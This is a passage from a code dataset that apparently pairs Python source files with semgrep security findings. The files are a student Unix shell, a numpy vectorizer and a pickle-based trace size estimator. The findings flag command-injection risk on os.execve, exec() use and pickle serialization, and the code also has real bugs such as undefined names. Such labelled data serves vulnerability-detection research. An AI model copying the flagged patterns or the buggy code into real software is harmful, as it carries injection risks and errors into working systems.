"https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 30, "col": 6, "offset": 612}, "end": {"line": 30, "col": 21, "offset": 627}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
28,
28
] | [
28,
28
] | [
1,
6
] | [
21,
20
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functi... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"MEDIUM"
] | edit-question.py | /libraryh3lp-sdk-python/examples/edit-question.py | GeorgetownMakerHubOrg/libraryh3lpListener | MIT | |
2024-11-18T19:58:22.310775+00:00 | 1,603,890,688,000 | 930068ac11bf4149de5041da273d4f216486250a | 2 | {
"blob_id": "930068ac11bf4149de5041da273d4f216486250a",
"branch_name": "refs/heads/master",
"committer_date": 1603890688000,
"content_id": "37e734897563d2b53b2bba230d5f85e28babb833",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "1c018251f6f89e0fbe170283b76ac5e679546c80",
"extension": "py",
"filename": "shell.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 293753614,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5107,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/shell/shell.py",
"provenance": "stack-edu-0054.json.gz:569650",
"repo_name": "utep-cs-systems-courses/project1-shell-Llibarra2",
"revision_date": 1603890688000,
"revision_id": "4bfc67743262c98199e5564cf03e584f86fb3924",
"snapshot_id": "1592ec53ed82c2e82f012569b5e1ac2bd340388f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/utep-cs-systems-courses/project1-shell-Llibarra2/4bfc67743262c98199e5564cf03e584f86fb3924/shell/shell.py",
"visit_date": "2023-01-09T01:22:45.678100"
} | 2.5 | stackv2 | #! /usr/bin/env python3
import os, sys, time, re
curr = os.getcwd()
spl = curr.split("/")
short = spl[-1]
dir_list = spl #probably don't need this
#maybe continuously update dir list and only allow redirects if in current list
def ls():
directory_list = os.listdir(curr)
for i in directory_list:
print(i, end = " ")
return
def lsdir(directory):#change directory based on user's input
change = False
original = curr
directory_list = os.listdir(curr)
if directory.startswith("/"):
change = True
split = directory.split("/")
directory = split[-1]
index = 0
while(index != len(split)-1):
if split[index] == '':
index +=1
os.chdir(split[index])
index = index + 1
if directory.endswith(".txt"):
fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY)
else:
fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY)
for a in directory_list:
a = a + "\n"
os.write(fdOut, a.encode()) # write to output file
i = 0
if (change):
while(i < len(split)-1): #return to current dir
os.chdir("..")
i = i +1
return
def update_curr_dir():
curr = os.getcwd()
spl = curr.split("/")
short = spl[-1]
def get_current():
global curr
curr = os.getcwd()
os.write(1, (curr + "\n").encode())
return
def get_short():
global curr
global short
curr = os.getcwd()
spl = curr.split("/")
short = "\033[1;40;40m %s\x1b[0m" % spl[-1]
os.write(1, (short + "$ ").encode())
return
def loop_shell():
global short
while True:
if 'PS1' in os.environ:
os.write(1,(os.environ['PS1']).encode())
try:
# inp = os.read(0,256)
# user_input = inp.decode().split()
user_input = [str(n) for n in input().split()]
except EOFError:
sys.exit(1)
else:
get_short()
try:
# inp = os.read(0,256)
# user_input = inp.decode().split()
user_input = [str(n) for n in input().split()]
except EOFError:
sys.exit(1)
w = True
if user_input == '\n':
loop_shell()
return
if not user_input:
loop_shell()
return
if user_input[0] == 'exit':
sys.exit(1)
if "cd" in user_input:#changes directory
try:
os.chdir(user_input[1])
except FileNotFoundError:
os.write(1, ("-bash: cd: %s: No such file or directory\n" % directory).encode())
continue
else:
rc = os.fork()
if '&' in user_input:
user_input.remove("&")
w = False
if user_input[0] == 'exit':
quit(1)
if rc < 0:
os.write(2, ("fork failed, returning %d\n" % rc).encode())
sys.exit(1)
elif rc == 0:
if user_input[0].startswith("/"):
try:
os.execve(user_input[0], user_input, os.environ) # try to exec program
except FileNotFoundError:
pass
redirect(user_input)
simple_pipe(user_input)
execChild(user_input)
else:
if w: #wait
code = os.wait()
if code[1] != 0 and code[1] != 256:
os.write(2, ("Program terminated with exit code: %d\n" % code[1]).encode())
def parse2(cmdString):
outFile = None
inFile = None
cmdString = ' '.join([str(elem) for elem in cmdString])
cmd = ''
cmdString = re.sub(' +', ' ', cmdString)
if '>' in cmdString:
[cmd, outFile] = cmdString.split('>',1)
outFile = outFile.strip()
if '<' in cmd:
[cmd, inFile] = cmd.split('<', 1)
inFile = inFile.strip()
elif outFile != None and '<' in outFile:
[outFile, inFile] = outFile.split('<', 1)
outFile = outFile.strip()
inFile = inFile.strip()
return cmd.split(), outFile, inFile
def simple_pipe(args):
if '|' in args:
write = args[0:args.index("|")]
read = args[args.index("|") + 1:]
pr,pw = os.pipe()
for f in (pr, pw):
os.set_inheritable(f, True)
fork = os.fork()
if fork < 0:
os.write(2, ("fork failed, returning %d\n" % rc).encode())
sys.exit(1)
elif fork == 0: #son or daughter (#not assuming)
os.close(1)
os.dup2(pw,1) #redirect inp to child
for fd in (pr, pw):
os.close(fd)
execChild(write)
else: #parent
os.close(0)
os.dup2(pr,0) #redirect outp to parent
for fd in (pr, pw):
os.close(fd)
execChild(read)
if "|" in read:
pipe(read)
execChild(read)
def redirect(args):
if '>' in args or '<' in args:
cmd,outFile,inFile = parse2(args)
if '>' in args:
cmd = cmd[0]
if '>' in args:
os.close(1)
os.open(outFile, os.O_CREAT | os.O_WRONLY)
os.set_inheritable(1,True)
execute = [cmd,outFile]
execChild(execute) #FIXME: output file only one line #maybe I should just call lsdir
if '<' in args:
os.close(0)
os.open(args[-1], os.O_RDONLY)
os.set_inheritable(0,True)
execute = args[0:args.index("<")]
execChild(execute)
def execChild(execute):
for dir in re.split(":", os.environ['PATH']): # try each directory in the path
program = "%s/%s" % (dir, execute[0])
try:
os.execve(program, execute, os.environ) # try to exec program
except FileNotFoundError:
pass
time.sleep(1)
os.write(2, ("-bash: %s: command not found\n" % execute[0]).encode())
quit(1)
if __name__ == "__main__":
loop_shell() | 238 | 20.46 | 87 | 25 | 1,543 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.useless-if-body_7273a5405fa19dfd_66955eea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-if-body", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Useless if statement; both blocks have the same body", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 39, "column_start": 2, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/controlflow.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-if-body", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 35, "col": 2, "offset": 703}, "end": {"line": 39, "col": 64, "offset": 871}, "extra": {"message": "Useless if statement; both blocks have the same body", "metadata": {"references": ["https://docs.python.org/3/tutorial/controlflow.html"], "category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_35c87654", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 7, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 130, "col": 7, "offset": 2617}, "end": {"line": 130, "col": 55, "offset": 2665}, "extra": {"message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args_7273a5405fa19dfd_72f48ed0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 7, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 130, "col": 7, "offset": 2617}, "end": {"line": 130, "col": 55, "offset": 2665}, "extra": {"message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "confidence": "MEDIUM", "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_47c06007", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 4, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 229, "col": 4, "offset": 4868}, "end": {"line": 229, "col": 43, "offset": 4907}, "extra": {"message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args_7273a5405fa19dfd_bebebf6c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 4, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 229, "col": 4, "offset": 4868}, "end": {"line": 229, "col": 43, "offset": 4907}, "extra": {"message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "confidence": "MEDIUM", "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_7273a5405fa19dfd_f8e19afb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 232, "line_end": 232, "column_start": 2, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 232, "col": 2, "offset": 4968}, "end": {"line": 232, "col": 15, "offset": 4981}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-os-exec-audit",
"rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args",
"rules.python.lang.security.audit.dangerous-os-exec-audit",
"rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
130,
130,
229,
229
] | [
130,
130,
229,
229
] | [
7,
7,
4,
4
] | [
55,
55,
43,
43
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.",
"Found user controlled content when spawning a process. This is dangerous because it allows a malicious a... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | shell.py | /shell/shell.py | utep-cs-systems-courses/project1-shell-Llibarra2 | BSD-3-Clause | |
2024-11-18T19:58:33.327596+00:00 | 1,692,617,757,000 | 454496596a5016cb1d0bff0f0918c75f96699e5c | 3 | {
"blob_id": "454496596a5016cb1d0bff0f0918c75f96699e5c",
"branch_name": "refs/heads/master",
"committer_date": 1692617757000,
"content_id": "463da85d9f26779d281a3548f721cd414d574e5c",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "db987bc58a44d6bfbc4d29407b2cb4e98746f0a7",
"extension": "py",
"filename": "vectorize.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 182797432,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2415,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/fun/vectorize.py",
"provenance": "stack-edu-0054.json.gz:569705",
"repo_name": "jburgy/blog",
"revision_date": 1692617757000,
"revision_id": "dfcb3c62f3cc52ad95c7d0319be690625d83346e",
"snapshot_id": "605e9134f51041213f06427869188bc96c4f6a64",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/jburgy/blog/dfcb3c62f3cc52ad95c7d0319be690625d83346e/fun/vectorize.py",
"visit_date": "2023-08-24T21:42:42.253622"
} | 2.71875 | stackv2 | import ast
from inspect import getsource
from textwrap import dedent
import numpy as np
class Vectorizer(ast.NodeTransformer):
def visit_ListComp(self, node):
""" transform
[elt for gen.target in gen.iter]
into
gen.target = np.asarray(gen.iter); elt
(1 expression to n statements followed by 1 expression)
TODO: handle more than 1 generator
TODO: handle ifs
"""
ctx = ast.Load()
func = ast.Attribute(
value=ast.Name(id="np", ctx=ctx), attr="asarray", ctx=ctx,
)
return [
ast.Assign(
targets=[gen.target],
value=ast.Call(func=func, args=[gen.iter], keywords=[])
)
for gen in node.generators
] + [
node.elt
]
def generic_visit(self, node):
result = node # new
for field, old_value in ast.iter_fields(node):
if isinstance(old_value, list):
new_values = []
for value in old_value:
if isinstance(value, ast.AST):
value = self.visit(value)
if value is None:
continue
elif not isinstance(value, ast.AST):
new_values.extend(value)
continue
new_values.append(value)
old_value[:] = new_values
elif isinstance(old_value, ast.AST):
new_node = self.visit(old_value)
if new_node is None:
delattr(node, field)
elif new_node and isinstance(new_node, list): # new
setattr(node, field, new_node[-1]) # new
new_node[-1], result = node, new_node # new
else:
setattr(node, field, new_node)
return result # was return node
def numpify(func):
source = getsource(func)
node = ast.parse(dedent(source))
new_node = ast.fix_missing_locations(Vectorizer().visit(node))
code = compile(new_node, "<string>", "exec")
namespace = {"np": np}
exec(code, namespace)
return namespace[f.__name__]
if __name__ == "__main__":
def f(x):
s = [t * 2 for t in x]
return s
print(f([1, 2, 3]))
g = numpify(f)
print(g([1, 2, 3]))
| 77 | 30.36 | 71 | 20 | 523 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_0ae1c9ccf52fc5d6_0df0109e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 5, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/0ae1c9ccf52fc5d6.py", "start": {"line": 66, "col": 5, "offset": 2201}, "end": {"line": 66, "col": 26, "offset": 2222}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.exec-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
66
] | [
66
] | [
5
] | [
26
] | [
"A03:2021 - Injection"
] | [
"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | vectorize.py | /fun/vectorize.py | jburgy/blog | Apache-2.0 | |
2024-11-18T19:58:33.813913+00:00 | 1,621,602,480,000 | b5516177c87d7adb439257528df5e13cde90b6ff | 3 | {
"blob_id": "b5516177c87d7adb439257528df5e13cde90b6ff",
"branch_name": "refs/heads/master",
"committer_date": 1621602480000,
"content_id": "bd5ac860546b0876396ab221d15f8af5ddbbe932",
"detected_licenses": [
"MIT"
],
"directory_id": "2bca49bc44fa9c8f7c2e5c3b092b84b140de3e76",
"extension": "py",
"filename": "size_prediction.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3179,
"license": "MIT",
"license_type": "permissive",
"path": "/pycrunch_trace/events/size_prediction.py",
"provenance": "stack-edu-0054.json.gz:569710",
"repo_name": "lixinli123/pycrunch-trace",
"revision_date": 1621602480000,
"revision_id": "f158af2bad28e31e1a99dceae5a3df84827329ff",
"snapshot_id": "90697f3769f2e1722dce39310b39a16d44009eab",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lixinli123/pycrunch-trace/f158af2bad28e31e1a99dceae5a3df84827329ff/pycrunch_trace/events/size_prediction.py",
"visit_date": "2023-04-25T05:32:11.241896"
} | 2.921875 | stackv2 | from typing import List
from . import base_event
from .method_enter import MethodEnterEvent, MethodExitEvent, LineExecutionEvent
from ..file_system.human_readable_size import HumanReadableByteSize
from ..file_system.session_store import SessionStore
import pickle
def count_every_element(self, cleanup_function= None):
accum = 0
for e in self.buffer:
if cleanup_function:
cleanup_function(e)
bytes_ = pickle.dumps(e)
accum += len(bytes_)
return accum
class SizeWithoutStack:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_stack)
def clean_up_stack(self, e):
e.stack = None
class SizeOriginal:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self)
def clean_up_stack(self, e):
e.stack = None
class SizeWithoutVariables:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_vars)
def clean_up_vars(self, e):
if isinstance(e, MethodEnterEvent):
e.input_variables = None
if isinstance(e, MethodExitEvent):
e.return_variables = None
e.locals = None
if isinstance(e, LineExecutionEvent):
e.locals = None
class SizeWithoutCursor:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_cursor)
def clean_up_cursor(self, e):
e.cursor = None
class SizeBreakdown:
event_buffer: List[base_event.Event]
@staticmethod
def load_from_session():
sess = SessionStore().load_session('request_exce')
sess.load_metadata()
print(f'metadata thinks size is: {sess.metadata.file_size_on_disk}')
print()
orig = SizeOriginal(sess.load_buffer())
real_size = orig.size()
SizeBreakdown.print_size('real size', real_size)
total_bytes_so_far = SizeWithoutStack(sess.load_buffer())
without_stack = total_bytes_so_far.size()
SizeBreakdown.print_size('without stack', without_stack)
without_variables = SizeWithoutVariables(sess.load_buffer())
without_variables_size = without_variables.size()
SizeBreakdown.print_size('without variables', without_variables_size)
without_cursor = SizeWithoutCursor(sess.load_buffer())
without_cursor_size = without_cursor.size()
SizeBreakdown.print_size('without cursor', without_cursor_size)
cursor = SizeWithoutCursor(sess.load_buffer())
cursor.size()
without_cursor_and_vars = SizeWithoutVariables(cursor.buffer)
without_cursor_and_vars_size = without_cursor_and_vars.size()
SizeBreakdown.print_size('without_cursor and vars', without_cursor_and_vars_size)
print('matan:')
# for i in range(100):
# print(bugger[i].event_name)
@staticmethod
def print_size(prefix, real_size):
print(f'{prefix}: {HumanReadableByteSize(real_size)} ({real_size})') | 109 | 28.17 | 89 | 14 | 671 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2826d277b87ac51_4c17244b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 18, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2826d277b87ac51.py", "start": {"line": 16, "col": 18, "offset": 441}, "end": {"line": 16, "col": 33, "offset": 456}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
16
] | [
16
] | [
18
] | [
33
] | [
